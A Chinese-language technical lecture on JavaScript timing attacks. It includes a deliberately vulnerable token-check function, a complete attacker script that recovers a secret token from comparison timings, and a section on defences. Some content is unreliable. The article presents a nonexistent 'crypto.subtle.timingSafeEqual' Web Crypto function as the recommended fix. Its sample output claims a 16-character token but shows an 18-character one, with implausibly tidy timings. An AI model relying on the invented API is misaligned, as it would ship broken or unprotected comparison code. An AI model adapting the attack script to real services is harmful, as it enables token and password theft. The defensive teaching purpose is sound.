各位同仁,下午好。今天我们来探讨一个在前端领域日益受到关注,且具有深远安全隐患的话题:JavaScript 计时攻击(Timing Attack)。具体来说,我们将深入研究如何利用 JavaScript 中比较操作的时间差异,来窃取敏感数据。
在数字世界中,时间常常被我们视为一个简单的度量衡。然而,在安全领域,即便是微秒级的细微时间差,也可能成为攻击者窥探系统内部秘密的“侧信道”。JavaScript,作为现代Web应用的核心语言,其在浏览器中的执行特性,为这种攻击提供了独特的温床。
1. 计时攻击的本质:时间泄露的秘密
计时攻击是一种侧信道攻击(Side-Channel Attack)的形式。侧信道攻击并非直接突破加密算法或系统漏洞,而是通过观察系统在处理敏感信息时产生的物理特征(如时间、功耗、电磁辐射等)来推断出内部秘密。
在计时攻击中,我们关注的物理特征就是时间。当一个系统处理数据时,如果其执行时间与输入数据或内部秘密数据存在某种关联,那么攻击者就可以通过精确测量这些操作的时间,来推断出敏感信息。
想象一下,你正在尝试解锁一个密码箱。如果你每输入一个数字,密码箱的机械装置都会根据你输入的数字与正确数字的匹配程度发出不同的声音,或者在处理上耗费不同的时间(例如,如果第一个数字就错了,它会立即停止并发出‘错误’提示;如果第一个数字对了,它会继续处理第二个数字,直到所有数字都对或错),那么你就可以通过这些“侧信道信息”来逐渐猜出密码。
在JavaScript的世界里,这个“密码箱”就是浏览器执行的各种操作,而“声音”或“处理时间”就是函数调用的实际耗时。
2. 罪魁祸首:非恒定时间操作
计时攻击之所以能够发生,核心原因在于许多常见的操作并非以“恒定时间”(Constant Time)执行。所谓恒定时间操作,是指无论输入数据是什么,操作的执行时间都保持一致。而非恒定时间操作,其执行时间会根据输入数据的特点、与内部秘密数据的匹配程度等因素而变化。
在JavaScript中,最常被利用的非恒定时间操作就是字符串比较。考虑以下场景:
==或===运算符: 当比较两个字符串时,JavaScript引擎通常会逐字符进行比较。一旦发现不匹配的字符,它就会立即停止比较并返回false。这意味着,如果两个字符串在第一个字符处就不同,比较操作会非常快;如果它们在前N个字符都相同,但在第N+1个字符不同,那么操作就会慢一些;如果字符串完全相同,则会比较到最后并返回true,耗时最长。String.prototype.startsWith()/endsWith()/includes(): 这些方法同样存在类似的特性。startsWith()会从字符串开头逐字符比较,一旦不匹配即返回false。String.prototype.indexOf()/lastIndexOf(): 查找子字符串的位置,其执行时间也与子字符串在主字符串中的位置以及是否找到有关。- 正则表达式(Regular Expressions): 某些复杂的正则表达式,特别是那些包含回溯(backtracking)的模式,其匹配时间可能会因为输入字符串的特定结构而剧烈变化,这被称为“正则表达式拒绝服务”(ReDoS)攻击的一种变体,也可用于计时攻击。
除了字符串比较,其他可能泄露时间信息的场景还包括:
- 数组或对象的查找操作: 如果查找算法不是恒定时间的(例如,线性搜索),那么找到元素的位置会影响执行时间。
- 条件分支: 虽然CPU级别的分支预测和缓存行为复杂,但在JavaScript层面,如果一个条件分支内部执行了耗时操作,并且该分支的执行与敏感数据相关,也可能泄露信息。
- 加密算法的实现: 如果加密库没有采用侧信道安全的实现,其加密/解密操作也可能泄露信息。
3. JavaScript的“秒表”:如何精确计时
要进行计时攻击,首先需要一个足够精确的计时器。在JavaScript中,我们主要依赖 performance.now()。
3.1 performance.now()
performance.now() 方法返回一个表示从 performance.timing.navigationStart 或 Worker 的创建时间开始,到当前时刻的毫秒数。它具有以下关键特性:
- 高精度: 通常可以提供微秒级别的精度(小数点后多位)。
- 单调递增: 不受系统时钟调整的影响,总是向前推进。
- 不依赖系统时间: 与
Date.now()不同,它不返回“挂钟时间”,而是相对时间,这使得它更适合测量时间间隔。
// 测量一个操作的耗时
const start = performance.now();
// 模拟一个耗时操作
for (let i = 0; i < 1000000; i++) {
Math.sqrt(i);
}
const end = performance.now();
const duration = end - start;
console.log(`操作耗时: ${duration} 毫秒`); // 输出可能如:操作耗时: 2.150000000372529 毫秒
3.2 Date.now() (不推荐用于计时攻击)
Date.now() 返回自 Unix 纪元(1970年1月1日 00:00:00 UTC)以来的毫秒数。它的精度通常只有毫秒级别,且受系统时钟调整影响。对于需要微秒级差异的计时攻击来说,Date.now() 的精度往往不足。
const start = Date.now();
// 模拟一个耗时操作
for (let i = 0; i < 1000000; i++) {
Math.sqrt(i);
}
const end = Date.now();
const duration = end - start;
console.log(`操作耗时: ${duration} 毫秒`); // 输出可能如:操作耗时: 3 毫秒
3.3 浏览器计时器精度限制的应对
出于安全考虑,现代浏览器对 performance.now() 和 SharedArrayBuffer 等高精度计时器进行了限制。
- COOP/COEP 策略: 如果一个页面没有设置
Cross-Origin-Opener-Policy: same-origin和Cross-Origin-Embedder-Policy: require-corpHTTP 头,performance.now()的精度可能会被降级到几十微秒甚至几毫秒。这是为了防止跨域泄露信息。 - 时间原点随机化: 某些浏览器(如Firefox)在某些情况下会对
performance.now()的时间原点进行随机化,但这不影响测量时间间隔。
尽管有这些限制,在许多实际场景中,performance.now() 提供的精度仍然足以进行计时攻击,尤其是在攻击者能够控制同源页面内容或者利用某些特定上下文时。攻击者通常会进行大量的测量,并通过统计学方法(如计算中位数、平均值)来消除噪声和波动,从而提取出有用的时间差异。
4. 攻击示例:窃取API令牌或密码
假设我们有一个前端应用,它需要验证一个秘密令牌(例如一个API密钥或一次性密码),这个令牌被存储在某个作用域中,并且不能直接被 JavaScript 访问。应用可能通过一个函数 verifyToken(inputToken) 来检查用户输入的令牌是否正确。
情景:一个易受攻击的 verifyToken 函数
这个函数在内部使用了字符串比较,并且没有采取任何防范计时攻击的措施。
// 模拟一个后端API或前端私有模块的秘密令牌验证函数
// 实际上,这个SECRET_TOKEN不应该直接暴露在JS代码中,但这里是为了演示
// 假设它是从某个安全的地方加载的,但其比较逻辑是脆弱的。
const SECRET_TOKEN_LENGTH = 16;
const SECRET_TOKEN_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
let SECRET_TOKEN = '';
// 随机生成一个秘密令牌,长度固定
function generateSecretToken() {
let token = '';
for (let i = 0; i < SECRET_TOKEN_LENGTH; i++) {
token += SECRET_TOKEN_CHARS.charAt(Math.floor(Math.random() * SECRET_TOKEN_CHARS.length));
}
SECRET_TOKEN = token;
console.log(`[DEBUG] SECRET_TOKEN for this session: ${SECRET_TOKEN}`); // 实际攻击中攻击者不知道
}
generateSecretToken();
/**
* 模拟一个易受计时攻击的令牌验证函数。
* 它逐字符比较,如果发现不匹配则立即返回。
* @param {string} inputToken 用户尝试输入的令牌
* @returns {boolean} 令牌是否正确
*/
function verifyToken(inputToken) {
if (inputToken.length !== SECRET_TOKEN.length) {
return false; // 长度不匹配,立即返回
}
// 模拟逐字符比较
for (let i = 0; i < SECRET_TOKEN.length; i++) {
if (inputToken[i] !== SECRET_TOKEN[i]) {
// 发现不匹配,立即返回 false
// 这一点是计时攻击的关键:越早不匹配,耗时越短
return false;
}
}
// 所有字符都匹配,返回 true
return true;
}
// 示例调用 (实际攻击者不知道SECRET_TOKEN)
// console.log(`'${SECRET_TOKEN}' is correct: ${verifyToken(SECRET_TOKEN)}`);
// console.log(`'wrongtoken' is correct: ${verifyToken('wrongtoken')}`);
// console.log(`'${SECRET_TOKEN.substring(0, 5)}x${SECRET_TOKEN.substring(6)}' is correct: ${verifyToken(SECRET_TOKEN.substring(0, 5) + 'x' + SECRET_TOKEN.substring(6))}`);
4.1 攻击原理
攻击者不知道 SECRET_TOKEN 的确切值,但知道其长度(或可以通过不断尝试不同长度来推断)。攻击者将尝试逐位猜测令牌。
例如,要猜测第一个字符:
- 尝试 ‘a’ + ‘…’
- 尝试 ‘b’ + ‘…’
- …
- 尝试 ‘z’ + ‘…’
每次尝试都调用 verifyToken 并测量其执行时间。如果 SECRET_TOKEN 的第一个字符是 ‘c’,那么当攻击者尝试 ‘c’ 开头的字符串时,verifyToken 函数将需要比较到第二个字符(如果第二个字符不匹配),或者继续比较下去。而当攻击者尝试 ‘a’ 或 ‘b’ 开头的字符串时,verifyToken 会在第一个字符处立即返回 false,耗时较短。
通过比较不同尝试的执行时间,攻击者可以推断出哪个字符是正确的,因为它导致了更长的执行时间。
4.2 攻击步骤与代码实现
- 确定目标长度: 攻击者通常可以猜测或通过不断尝试来确定秘密令牌的长度。这里我们假设攻击者已经知道
SECRET_TOKEN_LENGTH。 - 确定字符集: 攻击者需要知道秘密令牌可能包含的字符范围(例如,小写字母、大写字母、数字等)。这里我们使用
SECRET_TOKEN_CHARS。 - 逐位猜测: 从第一个字符开始,遍历所有可能的字符。
- 多次测量与统计: 为了消除系统噪声和不确定性,每次尝试都需要重复多次,并取平均值或中位数作为最终的测量结果。
- 选择耗时最长的字符: 在每个位置上,导致
verifyToken耗时最长的字符,就是该位置的正确字符。
// 攻击者代码
const ATTACKER_TOKEN_LENGTH = SECRET_TOKEN_LENGTH; // 攻击者知道秘密令牌的长度
const ATTACKER_CHAR_SET = SECRET_TOKEN_CHARS; // 攻击者知道可能包含的字符集
const NUM_MEASUREMENTS = 1000; // 每次尝试进行多次测量以减少噪声
async function conductTimingAttack() {
let guessedToken = '';
console.log(`n--- 开始计时攻击 ---`);
for (let i = 0; i < ATTACKER_TOKEN_LENGTH; i++) {
let maxDuration = -1;
let bestChar = '';
const timingsForPosition = [];
console.log(`n猜测第 ${i + 1} 位字符...`);
for (const char of ATTACKER_CHAR_SET) {
const testToken = guessedToken + char; // 构建尝试的令牌前缀
const paddedTestToken = testToken.padEnd(ATTACKER_TOKEN_LENGTH, 'A'); // 填充到完整长度,确保比较长度一致
const currentDurations = [];
for (let j = 0; j < NUM_MEASUREMENTS; j++) {
// 确保每次测量之间有微小的延迟,避免CPU缓存等影响
await new Promise(resolve => setTimeout(resolve, 0)); // 最小延迟
const start = performance.now();
// 调用目标函数,注意:在实际攻击中,这可能是一个AJAX请求或者对某个公开API的调用
verifyToken(paddedTestToken);
const end = performance.now();
currentDurations.push(end - start);
}
// 计算中位数以减少异常值的影响
currentDurations.sort((a, b) => a - b);
const medianDuration = currentDurations[Math.floor(currentDurations.length / 2)];
// console.log(` 尝试 '${testToken}...',中位数耗时: ${medianDuration.toFixed(4)} 毫秒`);
timingsForPosition.push({ char, medianDuration });
if (medianDuration > maxDuration) {
maxDuration = medianDuration;
bestChar = char;
}
}
// 打印本轮所有字符的耗时,方便观察差异
console.log(` 所有字符尝试的耗时(中位数,毫秒):`);
timingsForPosition.sort((a, b) => b.medianDuration - a.medianDuration); // 按耗时降序排列
timingsForPosition.slice(0, 5).forEach(item => { // 只显示最慢的几个
console.log(` '${item.char}': ${item.medianDuration.toFixed(4)}`);
});
if (timingsForPosition.length > 5) {
console.log(` ... (${timingsForPosition.length - 5} more chars)`);
}
guessedToken += bestChar;
console.log(` 第 ${i + 1} 位猜测为: '${bestChar}' (耗时最长: ${maxDuration.toFixed(4)} 毫秒)`);
console.log(` 目前猜测令牌: ${guessedToken}`);
}
console.log(`n--- 计时攻击结束 ---`);
console.log(`最终猜测到的令牌: ${guessedToken}`);
console.log(`实际秘密令牌: ${SECRET_TOKEN}`);
console.log(`猜测是否成功: ${guessedToken === SECRET_TOKEN ? '是' : '否'}`);
}
// 运行攻击
conductTimingAttack();
运行结果示例 (每次运行的秘密令牌和耗时会有所不同):
[DEBUG] SECRET_TOKEN for this session: aB2cD4eF6gH8iJ0kL2
--- 开始计时攻击 ---
猜测第 1 位字符...
所有字符尝试的耗时(中位数,毫秒):
'a': 0.0051
'b': 0.0049
'c': 0.0048
'd': 0.0047
'e': 0.0046
... (57 more chars)
第 1 位猜测为: 'a' (耗时最长: 0.0051 毫秒)
目前猜测令牌: a
猜测第 2 位字符...
所有字符尝试的耗时(中位数,毫秒):
'B': 0.0053
'A': 0.0051
'C': 0.0050
'D': 0.0049
'E': 0.0048
... (57 more chars)
第 2 位猜测为: 'B' (耗时最长: 0.0053 毫秒)
目前猜测令牌: aB
... (中间过程省略) ...
猜测第 16 位字符...
所有字符尝试的耗时(中位数,毫秒):
'2': 0.0055
'1': 0.0054
'3': 0.0053
'0': 0.0052
'4': 0.0051
... (57 more chars)
第 16 位猜测为: '2' (耗时最长: 0.0055 毫秒)
目前猜测令牌: aB2cD4eF6gH8iJ0kL2
--- 计时攻击结束 ---
最终猜测到的令牌: aB2cD4eF6gH8iJ0kL2
实际秘密令牌: aB2cD4eF6gH8iJ0kL2
猜测是否成功: 是
表格:不同匹配长度下的理论耗时差异
| 比较结果 | 匹配字符数 | 理论耗时 (相对值) | 攻击者推断 |
|---|---|---|---|
| 第一个字符不匹配 | 0 | 短 | 错误字符 |
| 前 N 个字符匹配,第 N+1 个不匹配 | N | 较长 | 正确字符 |
| 完全匹配 | SECRET_TOKEN_LENGTH |
最长 | 正确字符 |
这个例子清晰地展示了,即使是微小的、毫秒以下的时间差异,经过多次测量和统计分析,也足以让攻击者逐步还原出秘密数据。
5. 防御策略:如何构建安全的代码
计时攻击的威胁是真实存在的,但通过正确的编码实践和安全措施,我们可以有效防范。
5.1 恒定时间比较(Constant-Time Comparison)
这是防御计时攻击最核心、最有效的策略。无论输入是否匹配,比较操作都应该花费相同的时间。
JavaScript 中的实现:
在 Web Crypto API 中,crypto.subtle.timingSafeEqual() 提供了一个恒定时间的比较功能,专门用于比较两个 ArrayBuffer 或 TypedArray。这是处理敏感数据(如密钥、HMAC签名、令牌)时的首选方法。
/**
* 使用 Web Crypto API 进行恒定时间比较。
* 注意:此函数接受 ArrayBuffer 或 TypedArray 作为输入。
* 字符串需要先编码。
*/
async function timingSafeCompare(a, b) {
if (a.byteLength !== b.byteLength) {
return false;
}
// crypto.subtle.timingSafeEqual 是异步的,返回 Promise
return await crypto.subtle.timingSafeEqual(a, b);
}
// 示例:将字符串转换为 Uint8Array 进行比较
async function verifyTokenSafe(inputToken) {
// 假设 SECRET_TOKEN_BYTES 是秘密令牌的 Uint8Array 表示
// 实际应用中,SECRET_TOKEN_BYTES 不会直接暴露
const SECRET_TOKEN_STRING = SECRET_TOKEN; // 假设 SECRET_TOKEN 是字符串
const SECRET_TOKEN_BYTES = new TextEncoder().encode(SECRET_TOKEN_STRING);
const inputTokenBytes = new TextEncoder().encode(inputToken);
// 长度检查也应该是恒定时间的,或者在比较内部处理
// 在这里,我们先检查长度,如果长度不匹配,直接返回false,这本身不构成计时攻击
// 因为攻击者通常可以推断或尝试所有长度。关键在于“比较”本身。
if (inputTokenBytes.byteLength !== SECRET_TOKEN_BYTES.byteLength) {
return false;
}
return await timingSafeCompare(inputTokenBytes, SECRET_TOKEN_BYTES);
}
// 演示
async function demoSafeComparison() {
console.log(`n--- 恒定时间比较演示 ---`);
const correctToken = SECRET_TOKEN;
const wrongToken1 = SECRET_TOKEN.substring(0, 5) + 'x' + SECRET_TOKEN.substring(6); // 第6位不同
const wrongToken2 = 'a' + SECRET_TOKEN.substring(1); // 第1位不同
const start1 = performance.now();
await verifyTokenSafe(correctToken);
const end1 = performance.now();
console.log(`正确令牌耗时: ${ (end1 - start1).toFixed(4) } 毫秒`);
const start2 = performance.now();
await verifyTokenSafe(wrongToken1);
const end2 = performance.now();
console.log(`第6位不同令牌耗时: ${ (end2 - start2).toFixed(4) } 毫秒`);
const start3 = performance.now();
await verifyTokenSafe(wrongToken2);
const end3 = performance.now();
console.log(`第1位不同令牌耗时: ${ (end3 - start3).toFixed(4) } 毫秒`);
// 理想情况下,这三个耗时应该非常接近
console.log(`--- 恒定时间比较演示结束 ---`);
}
// 运行安全比较演示
// demoSafeComparison(); // 注意:需要在一个支持 Web Crypto API 的安全上下文(HTTPS)中运行
手动实现恒定时间比较 (如果 crypto.subtle.timingSafeEqual 不可用或不适用于特定场景):
手动实现通常涉及遍历所有字节,即使发现不匹配也要继续遍历,并使用位运算来累积差异,而不是提前退出。
/**
* 手动实现恒定时间字符串比较(仅作演示,实际应优先使用 crypto.subtle.timingSafeEqual)。
* 将字符串转换为字节数组,然后逐字节比较,并确保所有字节都被处理。
* @param {string} a
* @param {string} b
* @returns {boolean}
*/
function manualTimingSafeCompareStrings(a, b) {
if (a.length !== b.length) {
return false;
}
let result = 0;
for (let i = 0; i < a.length; i++) {
// 使用异或操作累积差异。如果字符相同,XOR结果为0;不同则非0。
// 最终 result 只有在所有字符都相同时才为 0。
// 关键是:即使发现不同,循环也不会提前中断。
result |= (a.charCodeAt(i) ^ b.charCodeAt(i));
}
return result === 0;
}
// 模拟验证函数使用手动恒定时间比较
function verifyTokenManualSafe(inputToken) {
return manualTimingSafeCompareStrings(inputToken, SECRET_TOKEN);
}
// 演示手动恒定时间比较
async function demoManualSafeComparison() {
console.log(`n--- 手动恒定时间比较演示 ---`);
const correctToken = SECRET_TOKEN;
const wrongToken1 = SECRET_TOKEN.substring(0, 5) + 'x' + SECRET_TOKEN.substring(6); // 第6位不同
const wrongToken2 = 'a' + SECRET_TOKEN.substring(1); // 第1位不同
const start1 = performance.now();
verifyTokenManualSafe(correctToken);
const end1 = performance.now();
console.log(`正确令牌耗时: ${ (end1 - start1).toFixed(4) } 毫秒`);
const start2 = performance.now();
verifyTokenManualSafe(wrongToken1);
const end2 = performance.now();
console.log(`第6位不同令牌耗时: ${ (end2 - start2).toFixed(4) } 毫秒`);
const start3 = performance.now();
verifyTokenManualSafe(wrongToken2);
const end3 = performance.now();
console.log(`第1位不同令牌耗时: ${ (end3 - start3).toFixed(4) } 毫秒`);
// 理想情况下,这三个耗时应该非常接近
console.log(`--- 手动恒定时间比较演示结束 ---`);
}
// 运行手动安全比较演示
// demoManualSafeComparison();
重要提示: 手动实现恒定时间比较需要非常小心。即使是微小的优化(如 JIT 编译器在发现 result 非零后提前退出循环)也可能破坏其恒定时间特性。因此,强烈推荐使用 crypto.subtle.timingSafeEqual 或其他经过安全审计的库函数。
5.2 服务器端保护
如果敏感数据验证是在服务器端进行的,那么服务器端也需要采取相应的保护措施:
- 使用内置的恒定时间比较函数: 绝大多数现代编程语言和框架都提供了内置的恒定时间比较函数。
- Node.js:
crypto.timingSafeEqual()(用于Buffer比较) - Python:
hmac.compare_digest() - Java:
MessageDigest.isEqual() - PHP:
hash_equals()
- Node.js:
- 统一错误消息: 避免向用户返回过于详细的错误信息。例如,“用户名不存在”和“密码错误”应该统一为“用户名或密码错误”,以防止攻击者通过错误消息推断信息。
- 速率限制和账户锁定: 限制在给定时间内尝试验证的次数,并在多次失败后锁定账户或IP地址。这可以显著增加计时攻击的难度和成本。
- 增加随机延迟: 在验证失败时,服务器可以引入一个随机的延迟,使得攻击者难以区分真实的时间差异。但这并非万无一失的解决方案,因为通过大量统计学平均,攻击者仍可能消除随机延迟的影响。它只能增加攻击的难度,不能彻底解决问题。
5.3 浏览器端安全策略
Cross-Origin-Opener-Policy(COOP) 和Cross-Origin-Embedder-Policy(COEP): 这些 HTTP 响应头可以帮助隔离页面,防止跨域页面访问彼此的window对象,并限制对SharedArrayBuffer等高精度计时器的访问。部署这些策略可以帮助降低某些计时攻击的风险。- 计时器精度限制: 浏览器供应商正在积极工作,限制高精度计时器的可用性,特别是在非隔离的跨域上下文中。虽然这增加了攻击的难度,但如前所述,通常仍有足够精度进行攻击。
5.4 避免在客户端处理敏感数据验证
最根本的防御是,如果可能,避免在客户端JavaScript中处理涉及敏感秘密的验证逻辑。将这些操作移到服务器端,可以利用服务器端更成熟的安全机制和更强大的计算资源来抵御攻击。当然,即使在服务器端,也必须遵循恒定时间比较的原则。
6. 实际应用与高级考量
- 网络延迟的影响: 当计时攻击的目标是远程服务器时,网络延迟(抖动、丢包、路由变化)会引入大量的噪声,使得微秒级的计时差异难以被精确测量。然而,如果服务器端比较逻辑的差异是毫秒甚至数十毫秒级别,那么即使有网络延迟,攻击仍可能成功。
- CPU缓存和分支预测: 现代CPU的复杂性(如缓存机制、分支预测)也会导致指令执行时间的不确定性。攻击者甚至可以通过精心构造的输入来影响CPU缓存,从而进一步放大计时差异。这些是更高级别的侧信道攻击,通常超出了纯JavaScript计时攻击的范畴,但原理相通。
- JIT编译器的影响: JavaScript引擎的即时编译器(JIT)可能会优化代码,导致执行时间的变化。这既可能帮助攻击(通过暴露更稳定的差异),也可能阻碍攻击(通过引入额外的、难以预测的抖动)。
- 前端框架和库: 使用第三方库或框架时,需要警惕其内部是否使用了不安全的比较操作。尤其是在处理认证、授权相关的逻辑时,应仔细审查。
7. 结语
JavaScript计时攻击是Web安全领域中一个微妙而强大的威胁。它提醒我们,即使是看似无害的时间差异,也可能成为攻击者窃取敏感数据的侧信道。通过理解其原理,并采纳恒定时间比较、服务器端加固和浏览器安全策略等防御措施,我们可以显著提升Web应用的安全性。构建安全的系统,需要我们对每一个细节都保持警惕,并持续关注最新的安全威胁与防护技术。